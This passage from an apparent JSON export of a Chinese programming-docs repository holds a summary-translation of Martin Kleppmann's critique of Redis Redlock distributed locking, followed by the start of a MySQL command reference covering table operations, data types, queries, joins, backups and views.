= always，但这会损伤性能。解决这个问题的方法是，当一个节点重启之后，我们规定在 max TTL 期间它是不可用的，这样它就不会干扰原本已经申请到的锁，等到它 crash 前的那部分锁都过期了，环境不存在历史锁了，那么再把这个节点加进来正常工作。\n"
  },
  {
    "path": "docs/database/Redis/如何做可靠的分布式锁，Redlock真的可行么.md",
    "content": "本文是对 [Martin Kleppmann](https://martin.kleppmann.com/) 的文章 [How to do distributed locking](https://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html) 部分内容的翻译和总结，上次写 Redlock 的原因就是看到了 Martin 的这篇文章，写得很好，特此翻译和总结。感兴趣的同学可以翻看原文，相信会收获良多。\n\n开篇作者认为现在 Redis 逐渐被使用到数据管理领域，这个领域需要更强的数据一致性和耐久性，这使得他感到担心，因为这不是 Redis 最初设计的初衷（事实上这也是很多业界程序员的误区，越来越把 Redis 当成数据库在使用），其中基于 Redis 的分布式锁就是令人担心的其一。\n\nMartin 指出首先你要明确你为什么使用分布式锁，为了性能还是正确性？为了帮你区分这二者，在这把锁 fail 了的时候你可以询问自己以下问题： \n1. **要性能的：** 拥有这把锁使得你不会重复劳动（例如一个 job 做了两次），如果这把锁 fail 了，两个节点同时做了这个 Job，那么这个 Job 增加了你的成本。\n2. **要正确性的：** 拥有锁可以防止并发操作污染你的系统或者数据，如果这把锁 fail 了两个节点同时操作了一份数据，结果可能是数据不一致、数据丢失、file 冲突等，会导致严重的后果。\n\n上述二者都是需求锁的正确场景，但是你必须清楚自己是因为什么原因需要分布式锁。\n\n如果你只是为了性能，那没必要用 Redlock，它成本高且复杂，你只用一个 Redis 实例也够了，最多加个从防止主挂了。当然，你使用单节点的 Redis 那么断电或者一些情况下，你会丢失锁，但是你的目的只是加速性能且断电这种事情不会经常发生，这并不是什么大问题。并且如果你使用了单节点 Redis，那么很显然你这个应用需要的锁粒度是很模糊粗糙的，也不会是什么重要的服务。\n\n那么是否 Redlock 对于要求正确性的场景就合适呢？Martin 列举了若干场景证明 Redlock 这种算法是不可靠的。\n\n## 用锁保护资源\n这节里 Martin 先将 Redlock 放在了一边而是仅讨论总体上一个分布式锁是怎么工作的。在分布式环境下，锁比 mutex 这类复杂，因为涉及到不同节点、网络通信并且他们随时可能无征兆的 fail 。\nMartin 假设了一个场景，一个 client 要修改一个文件，它先申请得到锁，然后修改文件写回，放锁。另一个 client 再申请锁 ... 代码流程如下：\n\n```java\n// THIS CODE IS BROKEN\nfunction writeData(filename, data) {\n    var lock = lockService.acquireLock(filename);\n    if (!lock) {\n        throw 'Failed to acquire lock';\n    }\n\n    try {\n        var file = storage.readFile(filename);\n        var updated = updateContents(file, data);\n        storage.writeFile(filename, updated);\n    } finally {\n        lock.release();\n    }\n}\n```\n\n可惜即使你的锁服务非常完美，上述代码还是可能跪，下面的流程图会告诉你为什么：\n\n![](https://martin.kleppmann.com/2016/02/unsafe-lock.png)\n\n上述图中，得到锁的 client1 在持有锁的期间 pause 了一段时间，例如 GC 停顿。锁有过期时间（一般叫租约，为了防止某个 client 崩溃之后一直占有锁），但是如果 GC 停顿太长超过了锁租约时间，此时锁已经被另一个 client2 所得到，原先的 client1 还没有感知到锁过期，那么奇怪的结果就会发生，曾经 HBase 就发生过这种 Bug。即使你在 client1 写回之前检查一下锁是否过期也无助于解决这个问题，因为 GC 可能在任何时候发生，即使是你非常不便的时候（在最后的检查与写操作期间）。\n如果你认为自己的程序不会有长时间的 GC 停顿，还有其他原因会导致你的进程 pause。例如进程可能读取尚未进入内存的数据，所以它得到一个 page fault 并且等待 page 被加载进缓存；还有可能你依赖于网络服务；或者其他进程占用 CPU；或者其他人意外发生 SIGSTOP 等。\n\n... .... 这里 Martin 又增加了一节列举各种进程 pause 的例子，为了证明上面的代码是不安全的，无论你的锁服务多完美。\n\n## 使用 Fencing （栅栏）使得锁变安全\n修复问题的方法也很简单：你需要在每次写操作时加入一个 fencing token。这个场景下，fencing token 可以是一个递增的数字（lock service 可以做到），每次有 client 申请锁就递增一次：\n\n![](https://martin.kleppmann.com/2016/02/fencing-tokens.png)\n\nclient1 申请锁同时拿到 token33，然后它进入长时间的停顿锁也过期了。client2 得到锁和 token34 写入数据，紧接着 client1 活过来之后尝试写入数据，自身 token33 比 34 小因此写入操作被拒绝。注意这需要存储层来检查 token，但这并不难实现。如果你使用 Zookeeper 作为 lock service 的话那么你可以使用 zxid 作为递增数字。\n但是对于 Redlock 你要知道，没什么生成 fencing token 的方式，并且怎么修改 Redlock 算法使其能产生 fencing token 呢？好像并不那么显而易见。因为产生 token 需要单调递增，除非在单节点 Redis 上完成但是这又没有高可靠性，你好像需要引进一致性协议来让 Redlock 产生可靠的 fencing token。\n\n## 使用时间来解决一致性\nRedlock 无法产生 fencing token 早该成为在需求正确性的场景下弃用它的理由，但还有一些值得讨论的地方。\n\n学术界有个说法，算法对时间不做假设：因为进程可能pause一段时间、数据包可能因为网络延迟延后到达、时钟可能根本就是错的。而可靠的算法依旧要在上述假设下做正确的事情。\n\n对于 failure detector 来说，timeout 只能作为猜测某个节点 fail 的依据，因为网络延迟、本地时钟不正确等其他原因的限制。考虑到 Redis 使用 gettimeofday，而不是单调的时钟，会受到系统时间的影响，可能会突然前进或者后退一段时间，这会导致一个 key 更快或更慢地过期。\n\n可见，Redlock 依赖于许多时间假设，它假设所有 Redis 节点都能对同一个 Key 在其过期前持有差不多的时间、跟过期时间相比网络延迟很小、跟过期时间相比进程 pause 很短。\n\n## 用不可靠的时间打破 Redlock \n这节 Martin 举了个因为时间问题，Redlock 不可靠的例子。\n\n1. client1 从 ABC 三个节点处申请到锁，DE由于网络原因请求没有到达\n2. C节点的时钟往前推了，导致 lock 过期\n3. client2 在CDE处获得了锁，AB由于网络原因请求未到达\n4. 此时 client1 和 client2 都获得了锁\n\n**在 Redlock 官方文档中也提到了这个情况，不过是C崩溃的时候，Redlock 官方本身也是知道 Redlock 算法不是完全可靠的，官方为了解决这种问题建议使用延时启动，相关内容可以看之前的[这篇文章](https://zhuanlan.zhihu.com/p/40915772)。但是 Martin 这里分析得更加全面，指出延时启动不也是依赖于时钟的正确性的么？**\n\n接下来 Martin 又列举了进程 Pause 时而不是时钟不可靠时会发生的问题：\n\n1. client1 从 ABCDE 处获得了锁\n2. 当获得锁的 response 还没到达 client1 时 client1 进入 GC 停顿\n3. 停顿期间锁已经过期了\n4. client2 在 ABCDE 处获得了锁\n5. client1 GC 完成收到了获得锁的 response，此时两个 client 又拿到了同一把锁\n\n**同时长时间的网络延迟也有可能导致同样的问题。**\n\n## Redlock 的同步性假设\n这些例子说明了，仅有在你假设了一个同步性系统模型的基础上，Redlock 才能正常工作，也就是系统能满足以下属性：\n\n1. 网络延时边界，即假设数据包一定能在某个最大延时之内到达\n2. 进程停顿边界，即进程停顿一定在某个最大时间之内\n3. 时钟错误边界，即不会从一个坏的 NTP 服务器处取得时间\n\n## 结论\nMartin 认为 Redlock 实在不是一个好的选择，对于需求性能的分布式锁应用它太重了且成本高；对于需求正确性的应用来说它不够安全。因为它对高危的时钟或者说其他上述列举的情况进行了不可靠的假设，如果你的应用只需要高性能的分布式锁不要求多高的正确性，那么单节点 Redis 够了；如果你的应用想要保住正确性，那么不建议 Redlock，建议使用一个合适的一致性协调系统，例如 Zookeeper，且保证存在 fencing token。\n"
  },
  {
    "path": "docs/database/一千行MySQL命令.md",
    "content": "> 原文地址：https://shockerli.net/post/1000-line-mysql-note/ ，JavaGuide 对本文进行了简答排版，新增了目录。\n> 作者：格物\n\n非常不错的总结，强烈建议保存下来，需要的时候看一看。\n\n<!-- TOC -->\n- [基本操作](#基本操作)\n- [数据库操作](#数据库操作)\n- [表的操作](#表的操作)\n- [数据操作](#数据操作)\n- [字符集编码](#字符集编码)\n- [数据类型(列类型)](#数据类型列类型)\n- [列属性(列约束)](#列属性列约束)\n- [建表规范](#建表规范)\n- [SELECT](#select)\n- [UNION](#union)\n- [子查询](#子查询)\n- [连接查询(join)](#连接查询join)\n- [TRUNCATE](#truncate)\n- [备份与还原](#备份与还原)\n- [视图](#视图)\n- [事务(transaction)](#事务transaction)\n- [锁表](#锁表)\n- [触发器](#触发器)\n- [SQL编程](#sql编程)\n- [存储过程](#存储过程)\n- [用户和权限管理](#用户和权限管理)\n- [表维护](#表维护)\n- [杂项](#杂项)\n\n<!-- /TOC -->\n\n### 基本操作\n\n```mysql\n/* Windows服务 */\n-- 启动MySQL\n    net start mysql\n-- 创建Windows服务\n    sc create mysql binPath= mysqld_bin_path(注意：等号与值之间有空格)\n/* 连接与断开服务器 */\nmysql -h 地址 -P 端口 -u 用户名 -p 密码\nSHOW PROCESSLIST -- 显示哪些线程正在运行\nSHOW VARIABLES -- 显示系统变量信息\n```\n\n### 数据库操作\n\n```mysql\n/* 数据库操作 */ ------------------\n-- 查看当前数据库\n    SELECT DATABASE();\n-- 显示当前时间、用户名、数据库版本\n    SELECT now(), user(), version();\n-- 创建库\n    CREATE DATABASE[ IF NOT EXISTS] 数据库名 数据库选项\n    数据库选项：\n        CHARACTER SET charset_name\n        COLLATE collation_name\n-- 查看已有库\n    SHOW DATABASES[ LIKE 'PATTERN']\n-- 查看当前库信息\n    SHOW CREATE DATABASE 数据库名\n-- 修改库的选项信息\n    ALTER DATABASE 库名 选项信息\n-- 删除库\n    DROP DATABASE[ IF EXISTS] 数据库名\n        同时删除该数据库相关的目录及其目录内容\n```\n\n### 表的操作 \n\n```mysql\n-- 创建表\n    CREATE [TEMPORARY] TABLE[ IF NOT EXISTS] [库名.]表名 ( 表的结构定义 )[ 表选项]\n        每个字段必须有数据类型\n        最后一个字段后不能有逗号\n        TEMPORARY 临时表，会话结束时表自动消失\n        对于字段的定义：\n            字段名 数据类型 [NOT NULL | NULL] [DEFAULT default_value] [AUTO_INCREMENT] [UNIQUE [KEY] | [PRIMARY] KEY] [COMMENT 'string']\n-- 表选项\n    -- 字符集\n        CHARSET = charset_name\n        如果表没有设定，则使用数据库字符集\n    -- 存储引擎\n        ENGINE = engine_name\n        表在管理数据时采用的不同的数据结构，结构不同会导致处理方式、提供的特性操作等不同\n        常见的引擎：InnoDB MyISAM Memory/Heap BDB Merge Example CSV MaxDB Archive\n        不同的引擎在保存表的结构和数据时采用不同的方式\n        MyISAM表文件含义：.frm表定义，.MYD表数据，.MYI表索引\n        InnoDB表文件含义：.frm表定义，表空间数据和日志文件\n        SHOW ENGINES -- 显示存储引擎的状态信息\n        SHOW ENGINE 引擎名 {LOGS|STATUS} -- 显示存储引擎的日志或状态信息\n    -- 自增起始数\n    \tAUTO_INCREMENT = 行数\n    -- 数据文件目录\n        DATA DIRECTORY = '目录'\n    -- 索引文件目录\n        INDEX DIRECTORY = '目录'\n    -- 表注释\n        COMMENT = 'string'\n    -- 分区选项\n        PARTITION BY ... (详细见手册)\n-- 查看所有表\n    SHOW TABLES[ LIKE 'pattern']\n    SHOW TABLES FROM  库名\n-- 查看表机构\n    SHOW CREATE TABLE 表名 （信息更详细）\n    DESC 表名 / DESCRIBE 表名 / EXPLAIN 表名 / SHOW COLUMNS FROM 表名 [LIKE 'PATTERN']\n    SHOW TABLE STATUS [FROM db_name] [LIKE 'pattern']\n-- 修改表\n    -- 修改表本身的选项\n        ALTER TABLE 表名 表的选项\n        eg: ALTER TABLE 表名 ENGINE=MYISAM;\n    -- 对表进行重命名\n        RENAME TABLE 原表名 TO 新表名\n        RENAME TABLE 原表名 TO 库名.表名 （可将表移动到另一个数据库）\n        -- RENAME可以交换两个表名\n    -- 修改表的字段机构（13.1.2. ALTER TABLE语法）\n        ALTER TABLE 表名 操作名\n        -- 操作名\n            ADD[ COLUMN] 字段定义       -- 增加字段\n                AFTER 字段名          -- 表示增加在该字段名后面\n                FIRST               -- 表示增加在第一个\n            ADD PRIMARY KEY(字段名)   -- 创建主键\n            ADD UNIQUE [索引名] (字段名)-- 创建唯一索引\n            ADD INDEX [索引名] (字段名) -- 创建普通索引\n            DROP[ COLUMN] 字段名      -- 删除字段\n            MODIFY[ COLUMN] 字段名 字段属性     -- 支持对字段属性进行修改，不能修改字段名(所有原有属性也需写上)\n            CHANGE[ COLUMN] 原字段名 新字段名 字段属性      -- 支持对字段名修改\n            DROP PRIMARY KEY    -- 删除主键(删除主键前需删除其AUTO_INCREMENT属性)\n            DROP INDEX 索引名 -- 删除索引\n            DROP FOREIGN KEY 外键    -- 删除外键\n-- 删除表\n    DROP TABLE[ IF EXISTS] 表名 ...\n-- 清空表数据\n    TRUNCATE [TABLE] 表名\n-- 复制表结构\n    CREATE TABLE 表名 LIKE 要复制的表名\n-- 复制表结构和数据\n    CREATE TABLE 表名 [AS] SELECT * FROM 要复制的表名\n-- 检查表是否有错误\n    CHECK TABLE tbl_name [, tbl_name] ... [option] ...\n-- 优化表\n    OPTIMIZE [LOCAL | NO_WRITE_TO_BINLOG] TABLE tbl_name [, tbl_name] ...\n-- 修复表\n    REPAIR [LOCAL | NO_WRITE_TO_BINLOG] TABLE tbl_name [, tbl_name] ... [QUICK] [EXTENDED] [USE_FRM]\n-- 分析表\n    ANALYZE [LOCAL | NO_WRITE_TO_BINLOG] TABLE tbl_name [, tbl_name] ...\n```\n\n### 数据操作\n\n```mysql\n/* 数据操作 */ ------------------\n-- 增\n    INSERT [INTO] 表名 [(字段列表)] VALUES (值列表)[, (值列表), ...]\n        -- 如果要插入的值列表包含所有字段并且顺序一致，则可以省略字段列表。\n        -- 可同时插入多条数据记录！\n        REPLACE 与 INSERT 完全一样，可互换。\n    INSERT [INTO] 表名 SET 字段名=值[, 字段名=值, ...]\n-- 查\n    SELECT 字段列表 FROM 表名[ 其他子句]\n        -- 可来自多个表的多个字段\n        -- 其他子句可以不使用\n        -- 字段列表可以用*代替，表示所有字段\n-- 删\n    DELETE FROM 表名[ 删除条件子句]\n        没有条件子句，则会删除全部\n-- 改\n    UPDATE 表名 SET 字段名=新值[, 字段名=新值] [更新条件]\n```\n\n### 字符集编码\n\n```mysql\n/* 字符集编码 */ ------------------\n-- MySQL、数据库、表、字段均可设置编码\n-- 数据编码与客户端编码不需一致\nSHOW VARIABLES LIKE 'character_set_%'   -- 查看所有字符集编码项\n    character_set_client        客户端向服务器发送数据时使用的编码\n    character_set_results       服务器端将结果返回给客户端所使用的编码\n    character_set_connection    连接层编码\nSET 变量名 = 变量值\n    SET character_set_client = gbk;\n    SET character_set_results = gbk;\n    SET character_set_connection = gbk;\nSET NAMES GBK;  -- 相当于完成以上三个设置\n-- 校对集\n    校对集用以排序\n    SHOW CHARACTER SET [LIKE 'pattern']/SHOW CHARSET [LIKE 'pattern']   查看所有字符集\n    SHOW COLLATION [LIKE 'pattern']     查看所有校对集\n    CHARSET 字符集编码     设置字符集编码\n    COLLATE 校对集编码     设置校对集编码\n```\n\n### 数据类型(列类型)\n\n```mysql\n/* 数据类型（列类型） */ ------------------\n1. 数值类型\n-- a. 整型 ----------\n    类型         字节     范围（有符号位）\n    tinyint     1字节    -128 ~ 127      无符号位：0 ~ 255\n    smallint    2字节    -32768 ~ 32767\n    mediumint   3字节    -8388608 ~ 8388607\n    int         4字节\n    bigint      8字节\n    int(M)  M表示总位数\n    - 默认存在符号位，unsigned 属性修改\n    - 显示宽度，如果某个数不够定义字段时设置的位数，则前面以0补填，zerofill 属性修改\n        例：int(5)   插入一个数'123'，补填后为'00123'\n    - 在满足要求的情况下，越小越好。\n    - 1表示bool值真，0表示bool值假。MySQL没有布尔类型，通过整型0和1表示。常用tinyint(1)表示布尔型。\n-- b. 浮点型 ----------\n    类型             字节     范围\n    float(单精度)     4字节\n    double(双精度)    8字节\n    浮点型既支持符号位 unsigned 属性，也支持显示宽度 zerofill 属性。\n        不同于整型，前后均会补填0.\n    定义浮点型时，需指定总位数和小数位数。\n        float(M, D)     double(M, D)\n        M表示总位数，D表示小数位数。\n        M和D的大小会决定浮点数的范围。不同于整型的固定范围。\n        M既表示总位数（不包括小数点和正负号），也表示显示宽度（所有显示符号均包括）。\n        支持科学计数法表示。\n        浮点数表示近似值。\n-- c. 定点数 ----------\n    decimal -- 可变长度\n    decimal(M, D)   M也表示总位数，D表示小数位数。\n    保存一个精确的数值，不会发生数据的改变，不同于浮点数的四舍五入。\n    将浮点数转换为字符串来保存，每9位数字保存为4个字节。\n2. 字符串类型\n-- a. char, varchar ----------\n    char    定长字符串，速度快，但浪费空间\n    varchar 变长字符串，速度慢，但节省空间\n    M表示能存储的最大长度，此长度是字符数，非字节数。\n    不同的编码，所占用的空间不同。\n    char,最多255个字符，与编码无关。\n    varchar,最多65535字符，与编码有关。\n    一条有效记录最大不能超过65535个字节。\n        utf8 最大为21844个字符，gbk 最大为32766个字符，latin1 最大为65532个字符\n    varchar 是变长的，需要利用存储空间保存 varchar 的长度，如果数据小于255个字节，则采用一个字节来保存长度，反之需要两个字节来保存。\n    varchar 的最大有效长度由最大行大小和使用的字符集确定。\n    最大有效长度是65532字节，因为在varchar存字符串时，第一个字节是空的，不存在任何数据，然后还需两个字节来存放字符串的长度，所以有效长度是64432-1-2=65532字节。\n    例：若一个表定义为 CREATE TABLE tb(c1 int, c2 char(30), c3 varchar(N)) charset=utf8; 问N的最大值是多少？ 答：(65535-1-2-4-30*3)/3\n-- b. blob, text ----------\n    blob 二进制字符串（字节字符串）\n        tinyblob, blob, mediumblob, longblob\n    text 非二进制字符串（字符字符串）\n        tinytext, text, mediumtext, longtext\n    text 在定义时，不需要定义长度，也不会计算总长度。\n    text 类型在定义时，不可给default值\n-- c. binary, varbinary ----------\n    类似于char和varchar，用于保存二进制字符串，也就是保存字节字符串而非字符字符串。\n    char, varchar, text 对应 binary, varbinary, blob.\n3. 日期时间类型\n    一般用整型保存时间戳，因为PHP可以很方便的将时间戳进行格式化。\n    datetime    8字节    日期及时间     1000-01-01 00:00:00 到 9999-12-31 23:59:59\n    date        3字节    日期         1000-01-01 到 9999-12-31\n    timestamp   4字节    时间戳        19700101000000 到 2038-01-19 03:14:07\n    time        3字节    时间         -838:59:59 到 838:59:59\n    year        1字节    年份         1901 - 2155\ndatetime    YYYY-MM-DD hh:mm:ss\ntimestamp   YY-MM-DD hh:mm:ss\n            YYYYMMDDhhmmss\n            YYMMDDhhmmss\n            YYYYMMDDhhmmss\n            YYMMDDhhmmss\ndate        YYYY-MM-DD\n            YY-MM-DD\n            YYYYMMDD\n            YYMMDD\n            YYYYMMDD\n            YYMMDD\ntime        hh:mm:ss\n            hhmmss\n            hhmmss\nyear        YYYY\n            YY\n            YYYY\n            YY\n4. 枚举和集合\n-- 枚举(enum) ----------\nenum(val1, val2, val3...)\n    在已知的值中进行单选。最大数量为65535.\n    枚举值在保存时，以2个字节的整型(smallint)保存。每个枚举值，按保存的位置顺序，从1开始逐一递增。\n    表现为字符串类型，存储却是整型。\n    NULL值的索引是NULL。\n    空字符串错误值的索引值是0。\n-- 集合（set） ----------\nset(val1, val2, val3...)\n    create table tab ( gender set('男', '女', '无') );\n    insert into tab values ('男, 女');\n    最多可以有64个不同的成员。以bigint存储，共8个字节。采取位运算的形式。\n    当创建表时，SET成员值的尾部空格将自动被删除。\n```\n\n### 列属性(列约束)\n\n```mysql\n/* 列属性（列约束） */ ------------------\n1. PRIMARY 主键\n    - 能唯一标识记录的字段，可以作为主键。\n    - 一个表只能有一个主键。\n    - 主键具有唯一性。\n    - 声明字段时，用 primary key 标识。\n        也可以在字段列表之后声明\n            例：create table tab ( id int, stu varchar(10), primary key (id));\n    - 主键字段的值不能为null。\n    - 主键可以由多个字段共同组成。此时需要在字段列表后声明的方法。\n        例：create table tab ( id int, stu varchar(10), age int, primary key (stu, age));\n2. UNIQUE 唯一索引（唯一约束）\n    使得某字段的值也不能重复。\n3. NULL 约束\n    null不是数据类型，是列的一个属性。\n    表示当前列是否可以为null，表示什么都没有。\n    null, 允许为空。默认。\n    not null, 不允许为空。\n    insert into tab values (null, 'val');\n        -- 此时表示将第一个字段的值设为null, 取决于该字段是否允许为null\n4. DEFAULT 默认值属性\n    当前字段的默认值。\n    insert into tab values (default, 'val');    -- 此时表示强制使用默认值。\n    create table tab ( add_time timestamp default current_timestamp );\n        -- 表示将当前时间的时间戳设为默认值。\n        current_date, current_time\n5. AUTO_INCREMENT 自动增长约束\n    自动增长必须为索引（主键或unique）\n    只能存在一个字段为自动增长。\n    默认为1开始自动增长。可以通过表属性 auto_increment = x进行设置，或 alter table tbl auto_increment = x;\n6. COMMENT 注释\n    例：create table tab ( id int ) comment '注释内容';\n7. FOREIGN KEY 外键约束\n    用于限制主表与从表数据完整性。\n    alter table t1 add constraint `t1_t2_fk` foreign key (t1_id) references t2(id);\n        -- 将表t1的t1_id外键关联到表t2的id字段。\n        -- 每个外键都有一个名字，可以通过 constraint 指定\n    存在外键的表，称之为从表（子表），外键指向的表，称之为主表（父表）。\n    作用：保持数据一致性，完整性，主要目的是控制存储在外键表（从表）中的数据。\n    MySQL中，可以对InnoDB引擎使用外键约束：\n    语法：\n    foreign key (外键字段） references 主表名 (关联字段) [主表记录删除时的动作] [主表记录更新时的动作]\n    此时需要检测一个从表的外键需要约束为主表的已存在的值。外键在没有关联的情况下，可以设置为null.前提是该外键列，没有not null。\n    可以不指定主表记录更改或更新时的动作，那么此时主表的操作被拒绝。\n    如果指定了 on update 或 on delete：在删除或更新时，有如下几个操作可以选择：\n    1. cascade，级联操作。主表数据被更新（主键值更新），从表也被更新（外键值更新）。主表记录被删除，从表相关记录也被删除。\n    2. set null，设置为null。主表数据被更新（主键值更新），从表的外键被设置为null。主表记录被删除，从表相关记录外键被设置成null。但注意，要求该外键列，没有not null属性约束。\n    3. restrict，拒绝父表删除和更新。\n    注意，外键只被InnoDB存储引擎所支持。其他引擎是不支持的。\n\n```\n\n### 建表规范\n\n```mysql\n/* 建表规范 */ ------------------\n    -- Normal Format, NF\n        - 每个表保存一个实体信息\n        - 每个具有一个ID字段作为主键\n        - ID主键 + 原子表\n    -- 1NF, 第一范式\n        字段不能再分，就满足第一范式。\n    -- 2NF, 第二范式\n        满足第一范式的前提下，不能出现部分依赖。\n        消除符合主键就可以避免部分依赖。增加单列关键字。\n    -- 3NF, 第三范式\n        满足第二范式的前提下，不能出现传递依赖。\n        某个字段依赖于主键，而有其他字段依赖于该字段。这就是传递依赖。\n        将一个实体信息的数据放在一个表内实现。\n```\n\n### SELECT \n\n```mysql\n/* SELECT */ ------------------\nSELECT [ALL|DISTINCT] select_expr FROM -> WHERE -> GROUP BY [合计函数] -> HAVING -> ORDER BY -> LIMIT\na. select_expr\n    -- 可以用 * 表示所有字段。\n        select * from tb;\n    -- 可以使用表达式（计算公式、函数调用、字段也是个表达式）\n        select stu, 29+25, now() from tb;\n    -- 可以为每个列使用别名。适用于简化列标识，避免多个列标识符重复。\n        - 使用 as 关键字，也可省略 as.\n        select stu+10 as add10 from tb;\nb. FROM 子句\n    用于标识查询来源。\n    -- 可以为表起别名。使用as关键字。\n        SELECT * FROM tb1 AS tt, tb2 AS bb;\n    -- from子句后，可以同时出现多个表。\n        -- 多个表会横向叠加到一起，而数据会形成一个笛卡尔积。\n        SELECT * FROM tb1, tb2;\n    -- 向优化符提示如何选择索引\n        USE INDEX、IGNORE INDEX、FORCE INDEX\n        SELECT * FROM table1 USE INDEX (key1,key2) WHERE key1=1 AND key2=2 AND key3=3;\n        SELECT * FROM table1 IGNORE INDEX (key3) WHERE key1=1 AND key2=2 AND key3=3;\nc. WHERE 子句\n    -- 从from获得的数据源中进行筛选。\n    -- 整型1表示真，0表示假。\n    -- 表达式由运算符和运算数组成。\n        -- 运算数：变量（字段）、值、函数返回值\n        -- 运算符：\n            =, <=>, <>, !=, <=, <, >=, >, !, &&, ||,\n            in (not) null, (not) like, (not) in, (not) between and, is (not), and, or, not, xor\n            is/is not 加上ture/false/unknown，检验某个值的真假\n            <=>与<>功能相同，<=>可用于null比较\nd. GROUP BY 子句, 分组子句\n    GROUP BY 字段/别名 [排序方式]\n    分组后会进行排序。升序：ASC，降序：DESC\n    以下[合计函数]需配合 GROUP BY 使用：\n    count 返回不同的非NULL值数目  count(*)、count(字段)\n    sum 求和\n    max 求最大值\n    min 求最小值\n    avg 求平均值\n    group_concat 返回带有来自一个组的连接的非NULL值的字符串结果。组内字符串连接。\ne. HAVING 子句，条件子句\n    与 where 功能、用法相同，执行时机不同。\n    where 在开始时执行检测数据，对原数据进行过滤。\n    having 对筛选出的结果再次进行过滤。\n    having 字段必须是查询出来的，where 字段必须是数据表存在的。\n    where 不可以使用字段的别名，having 可以。因为执行WHERE代码时，可能尚未确定列值。\n    where 不可以使用合计函数。一般需用合计函数才会用 having\n    SQL标准要求HAVING必须引用GROUP BY子句中的列或用于合计函数中的列。\nf. ORDER BY 子句，排序子句\n    order by 排序字段/别名 排序方式 [,排序字段/别名 排序方式]...\n    升序：ASC，降序：DESC\n    支持多个字段的排序。\ng. LIMIT 子句，限制结果数量子句\n    仅对处理好的结果进行数量限制。将处理好的结果的看作是一个集合，按照记录出现的顺序，索引从0开始。\n    limit 起始位置, 获取条数\n    省略第一个参数，表示从索引0开始。limit 获取条数\nh. DISTINCT, ALL 选项\n    distinct 去除重复记录\n    默认为 all, 全部记录\n```\n\n###  UNION\n\n```mysql\n/* UNION */ ------------------\n    将多个select查询的结果组合成一个结果集合。\n    SELECT ... UNION [ALL|DISTINCT] SELECT ...\n    默认 DISTINCT 方式，即所有返回的行都是唯一的\n    建议，对每个SELECT查询加上小括号包裹。\n    ORDER BY 排序时，需加上 LIMIT 进行结合。\n    需要各select查询的字段数量一样。\n    每个select查询的字段列表(数量、类型)应一致，因为结果中的字段名以第一条select语句为准。\n```\n\n### 子查询\n\n```mysql\n/* 子查询 */ ------------------\n    - 子查询需用括号包裹。\n-- from型\n    from后要求是一个表，必须给子查询结果取个别名。\n    - 简化每个查询内的条件。\n    - from型需将结果生成一个临时表格，可用以原表的锁定的释放。\n    - 子查询返回一个表，表型子查询。\n    select * from (select * from tb where id>0) as subfrom where id>1;\n-- where型\n    - 子查询返回一个值，标量子查询。\n    - 不需要给子查询取别名。\n    - where子查询内的表，不能直接用以更新。\n    select * from tb where money = (select max(money) from tb);\n    -- 列子查询\n        如果子查询结果返回的是一列。\n        使用 in 或 not in 完成查询\n        exists 和 not exists 条件\n            如果子查询返回数据，则返回1或0。常用于判断条件。\n            select column1 from t1 where exists (select * from t2);\n    -- 行子查询\n        查询条件是一个行。\n        select * from t1 where (id, gender) in (select id, gender from t2);\n        行构造符：(col1, col2, ...) 或 ROW(col1, col2, ...)\n        行构造符通常用于与对能返回两个或两个以上列的子查询进行比较。\n    -- 特殊运算符\n    != all()    相当于 not in\n    = some()    相当于 in。any 是 some 的别名\n    != some()   不等同于 not in，不等于其中某一个。\n    all, some 可以配合其他运算符一起使用。\n```\n\n### 连接查询(join)\n\n```mysql\n/* 连接查询(join) */ ------------------\n    将多个表的字段进行连接，可以指定连接条件。\n-- 内连接(inner join)\n    - 默认就是内连接，可省略inner。\n    - 只有数据存在时才能发送连接。即连接结果不能出现空行。\n    on 表示连接条件。其条件表达式与where类似。也可以省略条件（表示条件永远为真）\n    也可用where表示连接条件。\n    还有 using, 但需字段名相同。 using(字段名)\n    -- 交叉连接 cross join\n        即，没有条件的内连接。\n        select * from tb1 cross join tb2;\n-- 外连接(outer join)\n    - 如果数据不存在，也会出现在连接结果中。\n    -- 左外连接 left join\n        如果数据不存在，左表记录会出现，而右表为null填充\n    -- 右外连接 right join\n        如果数据不存在，右表记录会出现，而左表为null填充\n-- 自然连接(natural join)\n    自动判断连接条件完成连接。\n    相当于省略了using，会自动查找相同字段名。\n    natural join\n    natural left join\n    natural right join\nselect info.id, info.name, info.stu_num, extra_info.hobby, extra_info.sex from info, extra_info where info.stu_num = extra_info.stu_id;\n```\n\n### TRUNCATE \n\n```mysql\n/* TRUNCATE */ ------------------\nTRUNCATE [TABLE] tbl_name\n清空数据\n删除重建表\n区别：\n1，truncate 是删除表再创建，delete 是逐条删除\n2，truncate 重置auto_increment的值。而delete不会\n3，truncate 不知道删除了几条，而delete知道。\n4，当被用于带分区的表时，truncate 会保留分区\n```\n\n### 备份与还原\n\n```mysql\n/* 备份与还原 */ ------------------\n备份，将数据的结构与表内数据保存起来。\n利用 mysqldump 指令完成。\n-- 导出\nmysqldump [options] db_name [tables]\nmysqldump [options] ---database DB1 [DB2 DB3...]\nmysqldump [options] --all--database\n1. 导出一张表\n　　mysqldump -u用户名 -p密码 库名 表名 > 文件名(D:/a.sql)\n2. 导出多张表\n　　mysqldump -u用户名 -p密码 库名 表1 表2 表3 > 文件名(D:/a.sql)\n3. 导出所有表\n　　mysqldump -u用户名 -p密码 库名 > 文件名(D:/a.sql)\n4. 导出一个库\n　　mysqldump -u用户名 -p密码 --lock-all-tables --database 库名 > 文件名(D:/a.sql)\n可以-w携带WHERE条件\n-- 导入\n1. 在登录mysql的情况下：\n　　source  备份文件\n2. 在不登录的情况下\n　　mysql -u用户名 -p密码 库名 < 备份文件\n```\n\n### 视图\n\n```mysql\n什么是视图：\n    视图是一个虚拟表，其内容由查询定义。同真实的表一样，视图包含一系列带有名称的列和行数据。但是，视图并不在数据库中以存储的数据值集形式存在。行和列数据来自由定义视图的查询所引用的表，并且在引用视图时动态生成。\n    视图具有表结构文件，但不存在数据文件。\n    对其中所引用的基础表来说，视图的作用类似于筛选。定义视图的筛选可以来自当前或其它数据库的一个或多个表，或者其它视图。通过视图进行查询没有任何限制，通过它们进行数据修改时的限制也很少。\n    视图是存储在数据库中的查询的sql语句，它主要出于两种原因：安全原因，视图可以隐藏一些数据，如：社会保险基金表，可以用视图只显示姓名，地址，而不显示社会保险号和工资数等，另一原因是可使复杂的查询易于理解和使用。\n-- 创建视图\nCREATE [OR REPLACE] [ALGORITHM = {UNDEFINED | MERGE | TEMPTABLE}] VIEW view_name 